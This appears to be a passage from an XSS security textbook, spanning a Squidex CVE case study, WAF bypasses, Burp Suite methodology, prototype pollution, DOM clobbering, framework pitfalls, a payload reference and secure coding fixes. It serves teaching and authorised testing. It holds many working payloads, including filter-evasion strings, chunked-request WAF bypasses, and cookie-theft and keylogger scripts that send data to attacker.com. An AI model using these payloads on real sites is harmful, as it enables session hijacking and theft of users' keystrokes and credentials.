
Squidex is an open-source headless CMS built with .NET and Angular. It is used by enterprises for content management. The vulnerability was in its rich text editor field handling.

33.4.2 Vulnerability Summary

CVE	CVE-2023-24278
Severity	High (CVSS 7.6)
Type	Stored XSS
Component	Rich text editor content field
Affected	Squidex before 7.4.0

33.4.3 Root Cause

Rich text editors (TinyMCE, Quill, CKEditor) are designed to accept HTML from users. The challenge is distinguishing *safe* HTML (bold, italic, links) from *dangerous* HTML

(script tags, event handlers). Squidex used a server-side HTML sanitiser that was configured incorrectly – it stripped `<script>` tags but allowed `<iframe>` and `onload` attributes on certain elements.

[X] Misconfigured sanitiser – allowed dangerous elements

```
// Sanitiser allowlist (simplified) -- incorrect configuration
allowed_tags = ['p', 'b', 'i', 'a', 'img', 'iframe', 'table', 'td', 'tr']
allowed_attrs = {
    'a': ['href', 'title'],
    'img': ['src', 'alt'],
    'iframe': ['src', 'width', 'height'], // iframe allowed!
    '*': ['class', 'id', 'style']        // style on everything!
}
```

33.4.4 The Exploit

The sanitiser allowed `<iframe>` with a `src` attribute, which accepted `javascript:` URIs. Additionally, `style` was allowed on all elements, enabling CSS-based attacks.

```
<iframe src="javascript:alert(document.domain)"></iframe>
```

```
<iframe srcdoc="<script>alert(parent.document.domain)</script>"></iframe>
```

When a content editor saved this in a rich text field and another user (or admin) previewed the content, the stored XSS executed.

33.4.5 The Fix

[OK] Correct sanitiser configuration

```
// Correct approach -- strict allowlist
allowed_tags = ['p', 'b', 'i', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'br']
// NEVER allow: iframe, script, embed, object, form, input
// For URLs in href/src: validate scheme (http/https only)
// For style: do not allow -- or use a CSS sanitiser
// Use a well-maintained library: DOMPurify (JS), Bleach (Python),
//                               HtmlSanitizer (.NET)
```

33.4.6 The DOMPurify Standard

For any application that accepts HTML input, the industry standard is **DOMPurify** – a client-side HTML sanitiser that is actively maintained and security-audited:

```
1 // Install: npm install dompurify
2 import DOMPurify from 'dompurify';
3
4 // Sanitise before storing or rendering
5 var clean = DOMPurify.sanitize(userHtml, {
6   ALLOWED_TAGS: ['p', 'b', 'i', 'a', 'ul', 'ol', 'li', 'br', 'strong'],
7   ALLOWED_ATTR: ['href', 'title'],
8   ALLOW_DATA_ATTR: false, // no data-* attributes
9   FORBID_ATTR: ['style'], // no inline styles
10  FORCE_BODY: true
11 });
12 document.getElementById('content').innerHTML = clean;
```

33.4.7 Lessons That Generalise

Lesson	Where It Applies
Sanitiser misconfiguration is common	Any app accepting rich text input
<code><iframe></code> is as dangerous as <code><script></code>	Allowlist must exclude both
<code>javascript:</code> in <code>src</code>	Must validate scheme on all URL attributes
Use DOMPurify, not custom sanitisers	Battle-tested vs hand-rolled logic
Rich text = highest XSS risk area	Always the first place to test in a CMS

Chapter 34

WAF Bypass Techniques

34.1 Overview

Web Application Firewalls (WAFs) attempt to block XSS by pattern-matching request content. Understanding bypass techniques is essential for:

- **Penetration testers:** Determining whether a WAF is protecting an actually vulnerable endpoint, or just masking it
- **AppSec engineers:** Understanding why WAF rules alone are insufficient and output encoding is mandatory
- **Security researchers:** Finding bypasses in WAF products as their own research targets

[!] Warning

WAF bypass techniques should only be used against systems you are authorised to test. These techniques are documented here for defensive awareness and authorised security testing only.

34.2 Category 1 – Case Variation

Many WAFs use case-sensitive matching. HTML and JavaScript are case-insensitive for tag names and event handlers.

```
<SCRIPT>alert(1)</SCRIPT>
<Script>alert(1)</Script>
<sCrIpT>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
<svg ONLoad=alert(1)>
```

Why it works: HTML parsers are case-insensitive. The browser normalises tag and attribute names to lowercase. A WAF checking for `<script>` (lowercase only) misses `<SCRIPT>`.

34.3 Category 2 – Tag and Attribute Obfuscation

34.3.1 Extra Whitespace and Characters

HTML parsers are permissive about whitespace and some special characters inside tags:

```
<img      src=x      onerror=alert(1)>      /* extra spaces */
<img/src=x/onerror=alert(1)>                /* slashes instead of spaces */
<img  src=x onerror=alert(1)>                /* tabs */
<img
src=x
onerror=alert(1)>                            /* newlines */
```

34.3.2 Null Bytes and Special Characters

Some WAFs fail to handle null bytes or unusual characters correctly:

```
<scr\x00ipt>alert(1)</scr\x00ipt>

```

34.4 Category 3 – HTML Entity Encoding

HTML entities inside attribute values are decoded before JavaScript runs (as we saw in Lab 08). This allows bypassing filters that check raw character sequences:

```
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
/* alert(1) encoded as decimal HTML entities */

<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;1&#x29;>
/* alert(1) encoded as hex HTML entities */
```

```
<img src=x onerror=\u0061lert(1)>          /* Unicode escape in JS */
<a href="javascript&#58;alert(1)">         /* Encoded colon in javascript
: */
<a href="&#106;avascript:alert(1)">       /* Encoded j */
```

34.5 Category 4 – Alternative Event Handlers

WAFs commonly block well-known event handlers like `onerror` and `onload`. There are dozens of valid HTML event handlers, many of which are overlooked:

```
<body onpageshow=alert(1)>
<body onhashchange=alert(1)><a href=#>click</a>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<object data=javascript:alert(1)>
<svg onactivate=alert(1)>click</svg>
<math><maction actiontype=statusline xlink:href=javascript:alert(1)>
  click
```

34.6 Category 5 – JavaScript Encoding Inside Event Handlers

Inside event handlers, the JavaScript is decoded before execution. This allows encoding the JS payload while keeping the HTML visible to the WAF:

```
<img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)>
/* \u0061 = a, \u006C = l, \u0065 = e, \u0072 = r, \u0074 = t */
/* Decodes to: alert(1) */
```

```
<img src=x onerror=\x61\x6C\x65\x72\x74(1)>
/* \x61 = a, \x6C = l, \x65 = e, \x72 = r, \x74 = t */
```

```
<img src=x onerror=eval(String.fromCharCode
(97,108,101,114,116,40,49,41))>
/* String.fromCharCode(97,108,101,114,116,40,49,41) = alert(1) */
```

34.7 Category 6 – Protocol-Level Bypasses

34.7.1 Data URI

```
<a href="data:text/html,<script>alert(document.domain)</script>">
  click</a>
<iframe src="data:text/html,<script>alert(document.domain)</script
">
```

34.7.2 javascript: Encoding Variants

```
javascript:alert(1)
Javascript:alert(1)
JAVASCRIPT:alert(1)
java&#115;cript:alert(1)      /* &#115; = s */
javascript&#58;alert(1)      /* &#58; = : */
&#106;avascript:alert(1)    /* &#106; = j */
```

34.8 Category 7 – Context-Specific Bypasses

34.8.1 Breaking Out of Quoted Attributes Without Quotes

Some WAFs block quotes inside attribute values but miss unquoted attributes:

```
<img src=x onerror=alert(1)>      /* no quotes needed on
  attribute value */
<img src=x onerror=alert'1'>      /* backticks instead of
  parentheses in some contexts */
```

34.8.2 Template Literal Function Calls

In some JavaScript contexts, backticks can replace parentheses:

```
alert`document.domain`
/* In some older browsers/versions, alert'1' calls alert with "1" */
```

34.9 Category 8 – WAF Bypass via Chunked/Encoded Requests

WAFs inspect HTTP request bodies. Some can be bypassed by modifying how the request is formatted:

```
POST /search HTTP/1.1
Transfer-Encoding: chunked

5
searc
6
h=<sc
7
ript>a
8
lert(1)
0

/* Some WAFs inspect the body before reassembly -- miss the payload
   split across chunks */
```

```
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037
/* Some WAFs do not decode IBM037 (EBCDIC) encoding */
/* Payload in EBCDIC may bypass string matching */
```

34.10 The Key Lesson – WAFs Are Not a Fix

Every bypass technique in this chapter shares a common theme: WAFs attempt to pattern-match attack signatures, but attack signatures are infinite and the underlying vulnerability remains. A bypassed WAF provides false confidence.

WAF vs Output Encoding

WAF: Tries to detect *known* attack patterns in input.

Can be bypassed by obfuscation, encoding, and novel payloads.

Output Encoding: Converts user data into inert content for the output context.

Cannot be bypassed – correctly encoded data cannot be interpreted as code.

Conclusion: Output encoding is mandatory. A WAF is an additional layer, not a replacement.

Chapter 35

Burp Suite Methodology for XSS Testing

35.1 Overview

This chapter covers the professional methodology for testing XSS using Burp Suite – the industry standard tool for web application security testing. Understanding the tool is not enough; the methodology – how you approach a target systematically – is what produces results in real engagements.

35.2 Setup and Configuration

35.2.1 Scope Configuration

Before testing, define your scope in Burp to avoid accidentally testing out-of-scope systems:

1. Target tab -> Scope
2. Add target URL/domain
3. Set: Use advanced scope control
4. Include pattern: `https://target.com/*`
5. Exclude: third-party domains, CDNs, payment processors
6. Enable: "Drop all out-of-scope requests" in Proxy options

35.2.2 Intercept and Logging

1. Proxy -> Options -> Add listener: 127.0.0.1:8080
2. Browser configured to use 127.0.0.1:8080 as proxy
3. Install Burp CA certificate in browser for HTTPS
4. HTTP History: all traffic logged here for review

35.3 Phase 1 – Reconnaissance and Mapping

35.3.1 Step 1 – Spider the Application

1. Right-click target in Site Map -> "Actively scan this host"
OR
Target -> Site Map -> right-click URL -> Scan
2. Burp Crawler maps all reachable pages and endpoints
3. Review Site Map for:
 - All GET parameters
 - All POST form fields
 - All JSON API parameters
 - All URL path segments that appear dynamic

35.3.2 Step 2 – Manually Walk the Application

Automated crawling misses application state. Manually:

- Log in and browse as an authenticated user
- Use every feature – search, comments, profile, file upload
- Trigger every error message
- Note every place your input appears in the response

35.3.3 Step 3 – Build an Input Inventory

Review HTTP History and categorise every input point:

Input Type	Example	Risk Level
GET parameters	?search=	High – often reflected
POST form fields	Comment, bio	High – often stored
JSON body fields	{"name":""}	Medium – check rendering
HTTP headers	User-Agent, Referer	Low-Medium – check logs/UI
URL path segments	/user/USERNAME	Medium – check page
Cookie values	Session token, preferences	Low-Medium
File names	Upload file name	Medium – check file listing

35.4 Phase 2 – Manual Testing

35.4.1 Step 4 – Probe Each Input Point

For each identified input, follow this sequence:

1. Send a unique string: testXSS1234
-> Confirm reflection: where does it appear in the response?
-> How many times? In what context?
2. Send HTML special chars: <>"'`
-> Are any passed through unencoded?
-> Which ones? In which reflection points?
3. Determine the context:
-> HTML data state? Attribute? JS string? URL? CSS?
4. Select context-appropriate payload and test

35.4.2 Step 5 – Use Burp Repeater for Payload Testing

1. Find the request in HTTP History
2. Right-click -> Send to Repeater
3. Modify the parameter value in Repeater
4. Send and inspect response in "Render" tab
5. Iterate on payload until execution achieved
6. Document: request, response, payload, context, execution evidence

35.4.3 Step 6 – Context-Aware Payload Selection

Context Found	First Payload	If Blocked
HTML data state	<code><script>alert(1)</script></code>	<code></code>
HTML attribute	<code>"</code> <code>onmouseover="alert(1)</code>	<code>' onfocus='alert(1)</code>
JS single-quoted string	<code>'-alert(1)-'</code>	<code>';alert(1)//</code>
JS double-quoted string	<code>"-alert(1)-"</code>	<code>";alert(1)//</code>
JS template literal	<code>\${alert(1)}</code>	Close with ' first
URL attribute	<code>javascript:alert(1)</code>	Encoded variants
href inside script	<code></script><script>alert(1)</code>	SVG <code>onload</code>

35.5 Phase 3 – Automated Scanning

35.5.1 Using Burp Active Scanner

1. HTTP History -> right-click a request -> "Scan"
2. Burp Scanner tests the request for XSS and other vulnerabilities
3. Check Dashboard -> Issues for findings
4. Each finding includes:
 - Evidence of the vulnerability
 - The payload used
 - Request and response
5. ALWAYS manually verify scanner findings -- false positives exist

35.5.2 Burp Scanner Limitations

Limitation	What to Do
Misses DOM XSS	Test manually with DevTools; use DOM Invader extension
Misses multi-step XSS	Manually test flows that require authentication state
Misses stored XSS chains	Manually check every stored input against every output
Context confusion	Always verify scanner payload in correct context

35.6 Phase 4 – DOM XSS Testing with DOM Invader

DOM Invader is a Burp Suite extension (built into Burp's browser) that automates DOM XSS source-to-sink tracing.

1. Open Burp's embedded browser (Proxy -> Open browser)
2. Click extension icon -> Enable DOM Invader
3. Browse the target application
4. DOM Invader automatically:
 - Injects canary tokens into all DOM sources (URL params, hash, postMessage)
 - Monitors all dangerous sinks (innerHTML, document.write, eval, etc.)
 - Alerts when a canary reaches a sink
5. Click "Exploit" when a canary is detected to generate a working payload

35.6.1 Manual DOM XSS Testing Without DOM Invader

1. Open DevTools -> Sources tab
2. Search for dangerous sources:
Ctrl+Shift+F -> search for: location.search, location.hash, document.referrer, window.name, postMessage
3. For each source found, trace data flow to sinks
4. Search for dangerous sinks:
innerHTML, outerHTML, document.write, eval, setTimeout(string), location.href =, element.src =, element.href =
5. Check if any source can reach any sink without sanitisation

35.7 Phase 5 – Exploitation and Reporting

35.7.1 Escalating from PoC to Impact

A professional penetration test does not stop at [alert\(1\)](#). After confirming XSS, escalate to demonstrate real business impact:

1. `alert(document.domain)` -- confirms execution context
2. Cookie theft payload -- demonstrates session hijacking
3. CSRF token extraction -- demonstrates CSRF bypass
4. Check HttpOnly flag -- determines if cookie theft is possible
(DevTools -> Application -> Cookies)
5. Attempt admin account theft -- if stored XSS visible to admins
6. Document impact clearly -- "attacker can take over any user account"

35.7.2 Evidence Collection

1. Screenshot of alert box with document.domain visible
2. HTTP request containing the payload (from Burp HTTP History)
3. HTTP response showing reflection/storage
4. Browser console showing execution (DevTools Console)
5. Network tab showing exfiltration request (for cookie theft PoC)
6. Video recording for complex multi-step exploits

35.7.3 Writing the Burp Report

Burp Suite Professional can generate an HTML or XML report:

1. Target -> Site Map -> right-click target -> "Report issues for this host"
2. Select issues to include
3. Choose format: HTML or XML
4. Report includes: issue description, evidence, request/response, remediation
5. Supplement with manual findings not caught by scanner

35.7.4 Manual Report Structure

For findings not captured by the automated scanner, use this structure (matching the format we used throughout this portfolio):

Section	Content
Title	Clear, specific vulnerability name
Severity	Critical/High/Medium/Low + CVSS score
Affected endpoint	URL and parameter
Description	What the vulnerability is and why it exists
Steps to reproduce	Numbered, detailed, reproducible
Evidence	Screenshot, request/response, payload
Impact	Business impact – what an attacker can do
Root cause	Why the code is vulnerable
Remediation	Specific fix for this specific vulnerability
References	OWASP, CWE, CVE links

35.8 Burp Extensions for XSS Testing

Extension	Purpose
DOM Invader (built-in)	Automated DOM XSS source-to-sink tracing
XSS Validator	Tests reflected points with a callback server
Param Miner	Discovers hidden/unlinked parameters
Turbo Intruder	High-speed fuzzing for XSS payloads
Logger++	Advanced request logging and filtering
Retire.js	Identifies vulnerable JavaScript libraries

Chapter 36

Advanced DOM XSS – Prototype Pollution and DOM Clobbering

36.1 Overview

This chapter covers two advanced DOM-based attack techniques that sit at the intersection of XSS and JavaScript security research. Both are frequently missed by automated scanners and require deep understanding of how JavaScript engines and browsers work.

36.2 Prototype Pollution to XSS

36.2.1 What is Prototype Pollution?

JavaScript objects inherit properties from their prototype chain. Every object has a `__proto__` property that points to its prototype. If an attacker can write to `Object.prototype` every object in the application inherits the polluted property.

```
1 var obj = {};  
2 obj.__proto__.injected = 'hello';  
3  
4 var newObj = {};  
5 console.log(newObj.injected); // 'hello' -- inherited from Object.  
  prototype  
6 // Every object now has this property!
```

36.2.2 How Prototype Pollution Leads to XSS

When application code uses a polluted property as a sink (e.g., passes it to `innerHTML` or `eval`), the pollution triggers XSS.

```
1 // Application reads configuration from a user-influenced object
2 function renderWidget(options) {
3     var container = document.getElementById('widget');
4     // If options.template is polluted via prototype, XSS fires
5     container.innerHTML = options.template || '<div>Default</div>';
6 }
```

```
1 // Vulnerable merge function -- commonly found in utility libraries
2 function merge(target, source) {
3     for (var key in source) {
4         if (typeof source[key] === 'object') {
5             target[key] = {};
6             merge(target[key], source[key]);
7         } else {
8             target[key] = source[key];
9         }
10    }
11 }
12
13 // Attacker-controlled JSON in URL parameter:
14 // ?config={"__proto__":{"template":"<img src=x onerror=alert(1)>"}}
15 var config = JSON.parse(urlParams.get('config'));
16 merge({}, config);
17 // Now Object.prototype.template = '<img src=x onerror=alert(1)>'
18 // Any call to renderWidget({}) will use the polluted template
```

36.2.3 Finding Prototype Pollution Gadgets

A *gadget* is a code pattern that reads from a prototype-polluted property and passes it to a dangerous sink. Common gadgets in popular libraries:

```
// jQuery -- if __proto__.html is polluted
$(selector).html(options.html);

// DOMPurify bypass (older versions)
DOMPurify.sanitize(input, {__proto__: {ALLOWED_ATTR: ['onerror']}});

// Handlebars template injection via prototype pollution
// lodash.merge vulnerable to prototype pollution
// jQuery.extend deep merge vulnerable
```

36.2.4 Testing for Prototype Pollution

```
1. In browser DevTools console, check if you can pollute:
Object.prototype.testProp = 'polluted';
var x = {};
console.log(x.testProp); // 'polluted' -- prototype chain works
```


2. Find merge/extend functions in the application JS
3. Test if URL parameters / JSON input reaches those functions
4. Search source for: `__proto__`, `constructor.prototype`, `Object.assign`
5. Use Burp DOM Invader -- it has a prototype pollution mode:
DOM Invader -> Prototype pollution -> Scan

36.2.5 Remediation

[OK] Prevent prototype pollution

```
1 // Option 1: Use JSON.parse with Object.create(null)
2 var config = Object.assign(Object.create(null), JSON.parse(input)
3   );
4 // Object.create(null) has no prototype -- cannot be polluted
5 // Option 2: Check for __proto__ and constructor in merge
6 function safeMerge(target, source) {
7   for (var key in source) {
8     if (key === '__proto__' || key === 'constructor')
9       continue;
10    target[key] = source[key];
11  }
12 }
13 // Option 3: Use Object.freeze(Object.prototype)
14 // Prevents any pollution of the base prototype
15 Object.freeze(Object.prototype);
```

36.3 DOM Clobbering

36.3.1 What is DOM Clobbering?

DOM clobbering is an attack where HTML injection (without script execution) is used to overwrite JavaScript variables. Named HTML elements are accessible as properties of the `window` and `document` objects – so injecting an element with a specific `id` or `name` can clobber a JavaScript variable of the same name.

```
<!-- Injected HTML (no XSS needed -- just HTML injection) -->
<img id="config">

<!-- In JavaScript: -->
console.log(window.config); // returns the <img> element, not
  undefined!
// The variable 'config' is now clobbered by the DOM element
```

36.3.2 Exploiting DOM Clobbering

```
// Application uses window.config as configuration object
var defaultConfig = window.config || {
  scriptURL: '/js/safe-script.js'
};
var script = document.createElement('script');
script.src = defaultConfig.scriptURL;
document.head.appendChild(script);
```

```
<!-- Attacker injects (e.g., via stored HTML injection in a comment
      field) -->
<a id="config"><a id="config" name="scriptURL"
  href="https://attacker.com/malicious.js">
</a></a>

<!-- Now window.config is the outer <a> element -->
<!-- window.config.scriptURL is the inner <a> element -->
<!-- The .toString() of an anchor element returns its href -->
<!-- So defaultConfig.scriptURL = 'https://attacker.com/malicious.js' -->
```

The script tag loads the attacker's JavaScript. Full XSS via DOM clobbering – with no script execution in the injected HTML itself.

36.3.3 Why This Matters

DOM clobbering is significant because:

- Works even when script execution is blocked (e.g., strict CSP)
- Requires only HTML injection, not XSS
- Bypasses DOMPurify in certain configurations (historical bypasses)
- Often completely missed by automated XSS scanners
- Found in major applications including GitHub, HackerOne, and others

36.3.4 Key DOM Clobbering Pairs

Injection	Clobbers
<code></code>	<code>window.x</code>
<code></code>	<code>window.x.y</code> (returns URL as string)
<code><form id="x"><input name="y"></code>	<code>window.x.y</code> (returns input element)
<code><iframe name="x"></code>	<code>window.frames.x</code> and <code>window.x</code>

36.3.5 Remediation

[OK] Prevent DOM clobbering

```
1 // Use let/const instead of var -- block-scoped, not clobberable
2 const config = window.config || { scriptURL: '/js/safe.js' };
3
4 // Or explicitly check type before use
5 var rawConfig = window.config;
6 if (rawConfig && typeof rawConfig === 'object'
7     && !(rawConfig instanceof Element)) {
8     // Only use if it is a plain object, not a DOM element
9     defaultConfig = rawConfig;
10 }
11
12 // DOMPurify: use SANITIZE_DOM option
13 DOMPurify.sanitize(html, { SANITIZE_DOM: true });
```

Chapter 37

XSS in Modern Frameworks

37.1 Overview

Modern JavaScript frameworks (React, Angular, Vue) provide built-in XSS protections by default. However, each framework has specific patterns that bypass these protections – understanding them is critical for AppSec engineers reviewing frontend code.

37.2 React

37.2.1 Default Behaviour – Safe

React escapes all output by default. JSX expressions are HTML-encoded:

```
1 function UserProfile({ username }) {
2   // SAFE -- React encodes username automatically
3   // Even if username = '<script>alert(1)</script>'
4   // It renders as literal text, not HTML
5   return <div>Welcome, {username}</div>;
6 }
```

37.2.2 dangerouslySetInnerHTML – The Escape Hatch

[X] dangerouslySetInnerHTML with user data

```
1 // VULNERABLE -- bypasses React's auto-escaping
2 function Comment({ content }) {
3   return <div dangerouslySetInnerHTML={{ __html: content }} />;
4 }
5 // If content = '<img src=x onerror=alert(1)>', XSS fires
```

```
6 // The name 'dangerouslySetInnerHTML' is intentional -- React is
   warning you
```

[OK] Use DOMPurify with dangerouslySetInnerHTML

```
1 import DOMPurify from 'dompurify';
2
3 function Comment({ content }) {
4   const clean = DOMPurify.sanitize(content, {
5     ALLOWED_TAGS: ['p', 'b', 'i', 'a', 'br'],
6     ALLOWED_ATTR: ['href']
7   });
8   return <div dangerouslySetInnerHTML={{ __html: clean }} />;
9 }
```

37.2.3 href with User Data – Not Auto-Escaped

[X] React does not sanitise javascript: in href

```
1 // VULNERABLE -- React does not block javascript: URIs in href
2 function UserLink({ url }) {
3   return <a href={url}>Visit</a>;
4   // If url = 'javascript:alert(1)', clicking executes alert
5 }
```

[OK] Validate href scheme in React

```
1 function UserLink({ url }) {
2   const isSafe = url && /^https?:\/\//.test(url);
3   return <a href={isSafe ? url : '#'}>Visit</a>;
4 }
```

37.2.4 eval and Template Literals in React

[X] eval with user data – rare but exists

```
1 // VULNERABLE -- dynamically evaluating user-provided expressions
2 function DynamicComponent({ expression }) {
3   const result = eval(expression); // never do this
4   return <div>{result}</div>;
5 }
```

37.3 Angular

37.3.1 Default Behaviour – Safe

Angular uses a strict security model with the `DomSanitizer` service. Template interpolation `{{ value }}` is automatically escaped.

37.3.2 `bypassSecurityTrust` – The Dangerous API

[X] `bypassSecurityTrustHtml` with user content

```
1 // VULNERABLE -- disables Angular's sanitisation
2 @Component({
3   template: '<div [innerHTML]="trustedHtml"></div>'
4 })
5 export class MyComponent {
6   trustedHtml: SafeHtml;
7   constructor(private sanitizer: DomSanitizer) {
8     // NEVER use with user-controlled content
9     this.trustedHtml = this.sanitizer
10      .bypassSecurityTrustHtml(userInput);
11   }
12 }
```

[OK] Use `sanitizer.sanitize` instead

```
1 import { SecurityContext } from '@angular/core';
2
3 this.safeHtml = this.sanitizer.sanitize(
4   SecurityContext.HTML,
5   userInput // Angular sanitises before rendering
6 );
```

37.3.3 Angular Template Injection (CSTI) – Historical

Angular 1x was vulnerable to Client-Side Template Injection (Lab 16). Angular 2+ eliminated this by:

- Compiling templates at build time, not runtime
- Removing the ability to evaluate arbitrary expressions from user input
- Using Ahead-of-Time (AOT) compilation by default

37.4 Vue.js

37.4.1 Default Behaviour – Safe

Vue's template syntax auto-escapes output by default:

```

1 <template>
2   <!-- SAFE -- v-bind and mustache syntax auto-escape -->
3   <div>{{ userInput }}</div>
4   <div :title="userInput">hover</div>
5 </template>

```

37.4.2 v-html – The Dangerous Directive

[X] v-html with user data

```

<!-- VULNERABLE -- v-html renders raw HTML, no escaping -->
<div v-html="userContent"></div>
<!-- If userContent = '<img src=x onerror=alert(1)>' -- XSS fires -->

```

[OK] Sanitise before v-html

```

1 import DOMPurify from 'dompurify';
2
3 computed: {
4   safeContent() {
5     return DOMPurify.sanitize(this.userContent, {
6       ALLOWED_TAGS: ['p', 'b', 'i', 'a', 'br'],
7       ALLOWED_ATTR: ['href']
8     });
9   }
10 }
11 // Template: <div v-html="safeContent"></div>

```

37.4.3 Framework Security Summary

Framework	Dangerous API	Safe Alternative
React	<code>dangerouslySetInnerHTML</code>	DOMPurify + <code>dangerouslySetInnerHTML</code>
React	<code>href={userUrl}</code>	Validate scheme before render
Angular	<code>bypassSecurityTrust*</code>	<code>sanitizer.sanitize()</code>
Vue	<code>v-html</code>	DOMPurify before v-html
All	<code>eval(userInput)</code>	Never – use <code>JSON.parse</code> instead

Chapter 38

XSS Payload Reference

38.1 Overview

This chapter is a curated reference of XSS payloads organised by context. Each payload is annotated with why it works, when to use it, and what defences it bypasses. This is the reference chapter to return to during testing.

38.2 HTML Data State Payloads

```
<!-- Basic script tag -->
<script>alert(document.domain)</script>

<!-- When script tags are blocked -->
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<body onload=alert(document.domain)>
<iframe onload=alert(document.domain)>

<!-- Without parentheses (some filters block them) -->
<img src=x onerror=alert'document.domain'>
<svg onload=alert'1'>

<!-- Self-closing tags -->
<input type=text onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>

<!-- SVG with embedded script (when script tags blocked in HTML) -->
<svg><script>alert(1)</script></svg>

<!-- Math ML -->
<math><maction actiontype=statusline#
```



```
xlink:href=javascript:alert(1)>CLICK
```

38.3 HTML Attribute Context Payloads

```
" onmouseover="alert(document.domain)
" autofocus onfocus="alert(document.domain)
" onclick="alert(document.domain)
"><img src=x onerror=alert(document.domain)>
"><svg onload=alert(document.domain)>
```

```
' onmouseover='alert(document.domain)
' autofocus onfocus='alert(document.domain)
'><img src=x onerror=alert(document.domain)>
```

```
onmouseover=alert(document.domain)
autofocus onfocus=alert(document.domain)
```

38.4 JavaScript String Context Payloads

```
'-alert(document.domain)-'
';alert(document.domain)//
\' ;alert(document.domain)// /* when single quote is escaped --
  use backslash */
</script><script>alert(1) /* when all quotes escaped -- HTML
  parser wins */
```

```
"-alert(document.domain)-"
";alert(document.domain)//
```

```
${alert(document.domain)}
'-alert(document.domain)-' /* if backtick not escaped */
```

38.5 URL Context Payloads

```
javascript:alert(document.domain)
Javascript:alert(document.domain)
JAVASCRIPT:alert(document.domain)
javascript&#58;alert(document.domain) /* encoded colon */
&#106;avascript:alert(document.domain) /* encoded j */
java&#115;cript:alert(document.domain) /* encoded s */
javascript:alert`document.domain` /* backtick call */
javascript:void(alert(document.domain)) /* void wrapper */
```

38.6 Cookie Theft Payloads

```
1 <!-- fetch -- modern, most reliable -->
2 <script>
3 fetch('https://attacker.com/steal?c='+encodeURIComponent(document.
4     cookie),
5     {mode:'no-cors'});
6 </script>
7
8 <!-- Image -- works even when fetch is restricted -->
9 <script>
10 new Image().src='https://attacker.com/steal?c='
11 +encodeURIComponent(document.cookie);
12 </script>
13
14 <!-- XMLHttpRequest -- for older environments -->
15 <script>
16 var x=new XMLHttpRequest();
17 x.open('GET','https://attacker.com/steal?c='
18 +encodeURIComponent(document.cookie));
19 x.send();
20 </script>
21
22 <!-- navigator.sendBeacon -- async, fires even on page unload -->
23 <script>
24 navigator.sendBeacon('https://attacker.com/steal',
25     document.cookie);
26 </script>
```

38.7 Keylogger Payloads

```
1 <!-- Basic keylogger -->
2 <script>
3 document.addEventListener('keypress', function(e){
4     fetch('https://attacker.com/keys?k='+encodeURIComponent(e.key),
5         {mode:'no-cors'});
6 });
7 </script>
8
9 <!-- Input field value harvester -- captures paste too -->
10 <script>
11 document.querySelectorAll('input,textarea').forEach(function(el){
12     el.addEventListener('input', function(){
13         fetch('https://attacker.com/input?n='
14             +encodeURIComponent(el.name)
15             + '&v='+encodeURIComponent(el.value),
16             {mode:'no-cors'});
17     });
18 });
19 </script>
```

38.8 CSP Bypass Payloads

```
<script src="https://whitelisted-cdn.com/api?callback=alert"></script>
/* If CSP allows whitelisted-cdn.com and it has a JSONP endpoint */
/* ?callback=FUNCTION_NAME reflects: FUNCTION_NAME({"data":...}) */
/* So: ?callback=alert calls alert({"data":...}) */
```

```
/* If CSP allows: script-src https://trusted.com */
/* And trusted.com has open redirect: /redirect?url=ATTACKER */
<script src="https://trusted.com/redirect?url=https://attacker.com/evil.js">
</script>
```

```
/* If CSP allows 'self' and we can inject a base tag */
<base href="https://attacker.com/">
/* All relative URLs now resolve to attacker.com */
/* <script src="/app.js"> loads https://attacker.com/app.js */
```

Chapter 39

Remediation Reference – Secure Coding Patterns

39.1 The Four Rules of XSS Prevention

#	Rule	Detail
1	Never insert untrusted data	Except in allowed locations
2	HTML encode for HTML context	<code>< > & " '</code>
3	JS encode for JS context	Use <code>json.dumps()</code> , not <code>htmlspecialchars()</code>
4	URL encode for URL context	Validate scheme + <code>encodeURIComponent()</code>

39.2 Python – Complete Secure Patterns

```
1 from flask import Flask, request, render_template
2 from markupsafe import escape
3 import json
4
5 app = Flask(__name__)
6
7 # Rule 2: HTML context -- use markupsafe.escape()
8 @app.route('/html-context')
9 def html_example():
10     name = request.args.get('name', '')
11     safe = escape(name) # < > & " ' all encoded
12     return f'<p>Hello, {safe}</p>'
```

```
13
14 # Rule 3: JavaScript context -- use json.dumps()
15 @app.route('/js-context')
16 def js_example():
17     query = request.args.get('q', '')
18     js_safe = json.dumps(query) # Properly quoted and escaped for
    JS
19     return f'<script>var q = {js_safe};</script>'
20
21 # Rule 4: URL context -- validate scheme
22 from urllib.parse import urlparse
23
24 def is_safe_url(url):
25     try:
26         p = urlparse(url)
27         return p.scheme in ('http', 'https')
28     except Exception:
29         return False
30
31 # Best practice: use Jinja2 templates with auto-escaping
32 @app.route('/template')
33 def template_example():
34     user_data = request.args.get('data', '')
35     return render_template('page.html',
36         user_data=user_data) # {{ user_data }} auto-escaped in
    Jinja2
37     # For JS in template: {{ user_data | tojson }} for JS context
```

39.3 Node.js – Complete Secure Patterns

```
1 const express = require('express');
2 const he = require('he'); // HTML encoding library
3 const app = express();
4
5 // Rule 2: HTML context -- use he.encode()
6 app.get('/html', (req, res) => {
7     const name = req.query.name || '';
8     const safe = he.encode(name);
9     res.send('<p>Hello, ${safe}</p>');
10 });
11
12 // Rule 3: JavaScript context -- use JSON.stringify()
13 app.get('/js', (req, res) => {
14     const query = req.query.q || '';
15     const jsSafe = JSON.stringify(query);
16     res.send('<script>var q = ${jsSafe};</script>');
17 });
18
19 // Rule 4: URL context -- validate scheme
20 function isSafeUrl(url) {
```

```

21     try {
22         const p = new URL(url);
23         return ['http:', 'https:'].includes(p.protocol);
24     } catch { return false; }
25 }
26
27 // Best practice: use a template engine (EJS, Pug, Handlebars)
28 // EJS: <%= variable %> auto-escapes for HTML context
29 // EJS: <%- variable %> does NOT escape -- never use with user data
